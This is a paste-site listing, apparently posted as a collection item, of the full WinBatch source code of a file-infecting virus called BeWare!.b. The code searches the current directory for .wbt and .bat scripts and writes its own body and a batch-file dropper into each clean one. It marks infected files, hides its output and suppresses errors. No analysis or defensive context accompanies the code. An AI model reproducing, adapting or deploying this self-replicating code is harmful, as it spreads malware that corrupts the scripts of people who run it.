Advertisement
FlyFar

Virus.WBS.Beware.b - Source Code

Jun 14th, 2023
1,736
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Winbatch 4.11 KB | Cybersecurity | 0 0
  1. ;BAT/WB.BeWare!.b
  2. ;BeWare! (c) by Duke/SMF
  3. IntControl(29, @tab, 0, 0, 0) ;BeWare!
  4. ErrorMode(@OFF) ;BeWare!
  5. Viral = "" ;BeWare!
  6. AllWBT = FileItemize("*.wbt") ;BeWare!
  7. For i = 1 to ItemCount(AllWBT, @tab) ;BeWare!
  8.    OneWBT = ItemExtract(i, AllWBT, @tab) ;BeWare!
  9.    Size=FileSize(OneWBT) ;BeWare!
  10.    MarkBuffer = BinaryAlloc(Size+100) ;BeWare!
  11.    BinaryRead(MarkBuffer, OneWBT) ;BeWare!
  12.    If BinaryPeekStr(MarkBuffer, 0, 17) == ";BAT/WB.BeWare!.b" then
  13.       Viral = OneWBT ;BeWare!
  14.       Break ;BeWare!
  15.    End If ;BeWare!
  16. Next i ;BeWare!
  17. If Viral != OneWBT Then EXIT ;BeWare!
  18. For w = 1 To ItemCount(AllWBT, @tab) ;BeWare!
  19.    OneWBT = ItemExtract(w, AllWBT, @tab) ;BeWare!
  20.    Size=FileSize(OneWBT) ;BeWare!
  21.    MarkBuffer = BinaryAlloc(Size+100) ;BeWare!
  22.    BinaryRead(MarkBuffer, OneWBT) ;BeWare!
  23.    If BinaryPeekStr(MarkBuffer, 0, 17) == ";BAT/WB.BeWare!.b" then Goto InfWBT
  24.    FileCopy(OneWBT,"C:\BeWare!",0)
  25.    virus = FileOpen(Viral, "READ") ;BeWare!
  26.    host = FileOpen(OneWBT, "WRITE") ;BeWare!
  27.    While @TRUE ;BeWare!
  28.       x = FileRead(virus) ;BeWare!
  29.       FileWrite(host, x) ;BeWare!
  30.       If x == "EXIT ;BeWare!" Then Break
  31.    EndWhile ;BeWare!
  32.    FileClose(virus) ;BeWare!
  33.    FileClose(host) ;BeWare!
  34.    temp = FileOpen("C:\BeWare!", "READ")
  35.    Size=FileSize("C:\BeWare!")
  36.    MarkBuffer = BinaryAlloc(Size+100) ;BeWare!
  37.    BinaryRead(MarkBuffer, "C:\BeWare!")
  38.    BinaryWriteEx(MarkBuffer, 0, OneWBT, 4209, Size) ;BeWare!
  39.    FileDelete(temp) ;BeWare!
  40. :InfWBT ;BeWare!
  41. Next w ;BeWare!
  42. BATBody1 = "@REM BeWare" ;BeWare!
  43. BATBody2 = "@goto RunBeWare" ;BeWare!
  44. BATBody3 = ":Comon %%BeWare%%" ;BeWare!
  45. BATBody4 = "@ctty nul%%BeWare%%" ;BeWare!
  46. BATBody5 = "if ^%%1==^BeWareBAT goto BeWareBAT" ;BeWare!
  47. BATBody6 = "if ^%%1==^BeWareWBT goto BeWareWBT" ;BeWare!
  48. BATBody7 = "for %%%%b in (*.bat) do call %%0 BeWareBAT %%%%b" ;BeWare!
  49. BATBody8 = "for %%%%w in (*.wbt) do call %%0 BeWareWBT %%%%w" ;BeWare!
  50. BATBody9 = "del $BeWare$" ;BeWare!
  51. BATBody10 = "goto End%%BeWare%%" ;BeWare!
  52. BATBody11 = ":BeWareBAT" ;BeWare!
  53. BATBody12 = "find ""BeWare""<%%2" ;BeWare!
  54. BATBody13 = "if not errorlevel 1 goto End%%BeWare%%" ;BeWare!
  55. BATBody14 = "copy %%2 $BeWare$" ;BeWare!
  56. BATBody15 = "echo.>>$BeWare$" ;BeWare!
  57. BATBody16 = "echo @goto Comon>>$BeWare$" ;BeWare!
  58. BATBody17 = "echo :End>>$BeWare$" ;BeWare!
  59. BATBody18 = "find ""BeWare""<%%0>%%2" ;BeWare!
  60. BATBody19 = "type $BeWare$>>%%2" ;BeWare!
  61. BATBody20 = "goto End%%BeWare%%" ;BeWare!
  62. BATBody21 = ":BeWareWBT" ;BeWare!
  63. BATBody22 = "find ""BeWare""<%%2" ;BeWare!
  64. BATBody23 = "if not errorlevel 1 goto End%%BeWare%%" ;BeWare!
  65. BATBody24 = "copy %%2 $BeWare$" ;BeWare!
  66. BATBody25 = "find ""BeWare%%BeWare%%!""<%%0>%%2" ;BeWare!
  67. BATBody26 = "type $BeWare$>>%%2" ;BeWare!
  68. BATBody27 = "goto End%%BeWare%%" ;BeWare!
  69. BATBody28 = ":RunBeWare" ;BeWare!
  70. BATBody29 = "@goto Comon" ;BeWare!
  71. BATBody30 = ":End" ;BeWare!
  72. AllBAT = FileItemize("*.bat") ;BeWare!
  73. For w = 1 To ItemCount(AllBAT, @tab) ;BeWare!
  74.    OneBAT = ItemExtract(w, AllBAT, @tab) ;BeWare!
  75.    Size=FileSize(OneBAT) ;BeWare!
  76.    MarkBuffer = BinaryAlloc(Size+100) ;BeWare!
  77.    BinaryRead(MarkBuffer, OneBAT) ;BeWare!
  78.    If BinaryPeekStr(MarkBuffer, 0, 11) == "@REM BeWare" then Goto InfBAT ;BeWare!
  79.    FileCopy(OneBAT,"C:\BeWare!",0)
  80.    host = FileOpen(OneBAT, "WRITE") ;BeWare!
  81.    For j = 1 to 27 ;BeWare!
  82.       FileWrite(host, BATBody%j%) ;BeWare!
  83.    Next j ;BeWare!
  84.    virus = FileOpen(Viral, "READ") ;BeWare!
  85.    While @TRUE ;BeWare!
  86.       x = FileRead(virus) ;BeWare!
  87.       FileWrite(host, x) ;BeWare!
  88.       If x == "EXIT ;BeWare!" Then Break
  89.    EndWhile ;BeWare!
  90.    FileWrite(host,BATBody28) ;BeWare!
  91.    FileClose(virus) ;BeWare!
  92.    FileClose(host) ;BeWare!
  93.    Size=FileSize("C:\BeWare!")
  94.    MarkBuffer = BinaryAlloc(Size+100) ;BeWare!
  95.    BinaryRead(MarkBuffer, "C:\BeWare!") ;BeWare!
  96.    BinaryWriteEx(MarkBuffer, 0, OneBAT, 4842, Size) ;BeWare!
  97.    temp = FileOpen("C:\BeWare!", "READ")
  98.    FileDelete(temp) ;BeWare!
  99.    host = FileOpen(OneBAT, "APPEND") ;BeWare!
  100.    FileWrite(host,BATBody29) ;BeWare!
  101.    FileWrite(host,BATBody30) ;BeWare!
  102.    FileClose(host) ;BeWare!
  103. :InfBAT ;BeWare!
  104. Next w ;BeWare!
  105. EXIT ;BeWare!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement